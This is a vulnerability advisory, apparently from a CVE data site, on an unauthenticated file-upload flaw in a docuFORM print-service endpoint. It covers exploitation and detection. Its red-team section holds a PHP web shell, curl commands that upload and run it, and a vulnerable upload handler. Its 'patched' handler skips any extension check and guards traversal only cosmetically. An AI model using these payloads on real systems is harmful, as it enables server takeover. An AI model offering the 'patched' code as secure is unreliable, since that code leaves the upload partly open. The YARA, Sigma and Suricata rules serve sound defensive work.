CVE-2025-65416
Executive Summary
CVE-2025-65416 is an arbitrary file upload vulnerability in docuFORM Managed Print Service Client version 11.11c. The flaw resides in the pmupdate.php endpoint, which fails to properly validate or restrict the types of files that can be uploaded. An unauthenticated attacker can exploit this to upload malicious files (e.g., web shells, executables) to the server, potentially leading to remote code execution, data exfiltration, or further compromise of the managed print infrastructure. The vulnerability has a CVSS score of 6.3 (Medium), but the lack of authentication and the potential for full server takeover elevate the real-world risk. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary managed print service client.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – the vulnerable component is the only one affected.
- Confidentiality Impact: Low (C:L) – limited data exposure possible.
- Integrity Impact: Low (I:L) – limited modification possible.
- Availability Impact: Low (A:L) – limited disruption possible.
Threat Level: High (due to unauthenticated access and potential for full compromise despite medium CVSS).
Deep Dive & Mechanics
The vulnerability exists in the pmupdate.php script, which is part of the docuFORM Managed Print Service Client. This script is intended to handle updates or file uploads for the print management system. The core issue is a lack of proper file type validation and authentication checks.
Attack Flow:
- An attacker identifies a target running docuFORM Managed Print Service Client 11.11c.
- The attacker sends a crafted HTTP POST request to the
/pmupdate.phpendpoint. - The request includes a file payload (e.g., a PHP web shell or an executable) in the multipart form data.
- The server accepts the file without verifying its MIME type, extension, or content.
- The file is stored in a web-accessible directory (e.g.,
uploads/or the document root). - The attacker accesses the uploaded file via a web browser, triggering execution (if it's a script) or downloading it (if it's an executable).
- The attacker gains a foothold on the server, potentially escalating to full system compromise.
Root Cause: The pmupdate.php script does not implement any of the following security controls:
- Authentication (no session check or API key).
- File type validation (no MIME type, extension, or magic byte check).
- File size limits (allowing large or malicious payloads).
- Directory traversal protection (allowing files to be placed outside intended directories).
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable PHP upload handler might look like:
<?php
// Vulnerable pmupdate.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>
A patched version would include:
<?php
// Patched pmupdate.php
session_start();
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
die("Unauthorized");
}
$allowed_types = ['application/pdf', 'image/png', 'text/plain'];
$max_file_size = 5 * 1024 * 1024; // 5MB
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
// Validate file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
if (!in_array($mime_type, $allowed_types)) {
die("Invalid file type.");
}
// Validate file size
if ($_FILES["file"]["size"] > $max_file_size) {
die("File too large.");
}
// Prevent directory traversal
$target_file = str_replace('..', '', $target_file);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
echo "File uploaded successfully.";
} else {
echo "Upload failed.";
}
?>
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running docuFORM Managed Print Service Client 11.11c.
- Network access to the
/pmupdate.phpendpoint. - A web shell payload (e.g.,
cmd.php).
Exploitation Steps:
Craft a malicious PHP web shell:
<?php system($_GET['cmd']); ?>Save as
shell.php.Upload the shell using curl:
curl -X POST -F "file=@shell.php" http://target.com/pmupdate.phpVerify the upload:
curl http://target.com/uploads/shell.php?cmd=idExpected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Escalate privileges (if needed): Use the web shell to download and execute a reverse shell or privilege escalation exploit.
Alternative Payloads:
- Windows executable: Upload a reverse shell EXE and execute via a command.
- JSP/ASPX: If the server supports other scripting languages.
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
/pmupdate.php– any such request is suspicious. - Check for unexpected files in web-accessible directories (e.g.,
uploads/,files/). - Analyze web server logs for unusual file extensions (
.php,.exe,.jsp) in upload paths. - Use file integrity monitoring to detect new or modified files in the document root.
Hunting Queries:
- Search logs for
POST /pmupdate.phpwith aContent-Typeofmultipart/form-data. - Look for subsequent GET requests to uploaded files with query parameters (e.g.,
?cmd=).
Indicators of Compromise (IOCs)
- File paths:
/var/www/html/uploads/shell.php,/opt/docuform/web/uploads/malicious.php - Network indicators: HTTP POST to
/pmupdate.phpwith file upload; subsequent GET requests to uploaded files. - File hashes (example):
shell.php:e99a18c428cb38d5f260853678922e03(MD5)reverse.exe:a4b8f9c2d1e0f3a6b7c8d9e0f1a2b3c4(MD5)
- YARA rule (see below)
- Sigma rule (see below)
Detection Engineering
YARA Rule
rule CVE_2025_65416_WebShell {
meta:
description = "Detects web shells uploaded via CVE-2025-65416"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65416"
strings:
$php_tag = "<?php"
$system_func = "system("
$shell_exec = "shell_exec("
$exec_func = "exec("
$passthru = "passthru("
$cmd_var = "$_GET['cmd']" nocase
$post_var = "$_POST['cmd']" nocase
condition:
$php_tag and 1 of ($system_func, $shell_exec, $exec_func, $passthru) and ($cmd_var or $post_var)
}
Sigma Rule
title: CVE-2025-65416 - Arbitrary File Upload via pmupdate.php
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests to pmupdate.php with file uploads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/pmupdate.php'
cs-content-type: 'multipart/form-data*'
condition: selection
falsepositives:
- Legitimate updates from authorized administrators (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-65416 - Arbitrary File Upload via pmupdate.php";
flow:to_server,established;
content:"POST"; http_method;
content:"/pmupdate.php"; http_uri;
content:"multipart/form-data"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable or remove
pmupdate.phpfrom the web server if not required. - Restrict access to the endpoint using firewall rules or web server ACLs (allow only trusted IPs).
- Implement a Web Application Firewall (WAF) rule to block POST requests to
/pmupdate.phpwith file uploads.
Long-term Fixes:
- Apply vendor patch when available (currently none).
- Upgrade to a patched version of docuFORM Managed Print Service Client.
- Implement proper authentication for all upload endpoints.
- Add file type validation (MIME type, extension whitelist, magic bytes).
- Store uploaded files outside the web root and serve them via a download script with access controls.
Workaround:
- Replace
pmupdate.phpwith a stub that returns a 403 Forbidden status.
Valters IT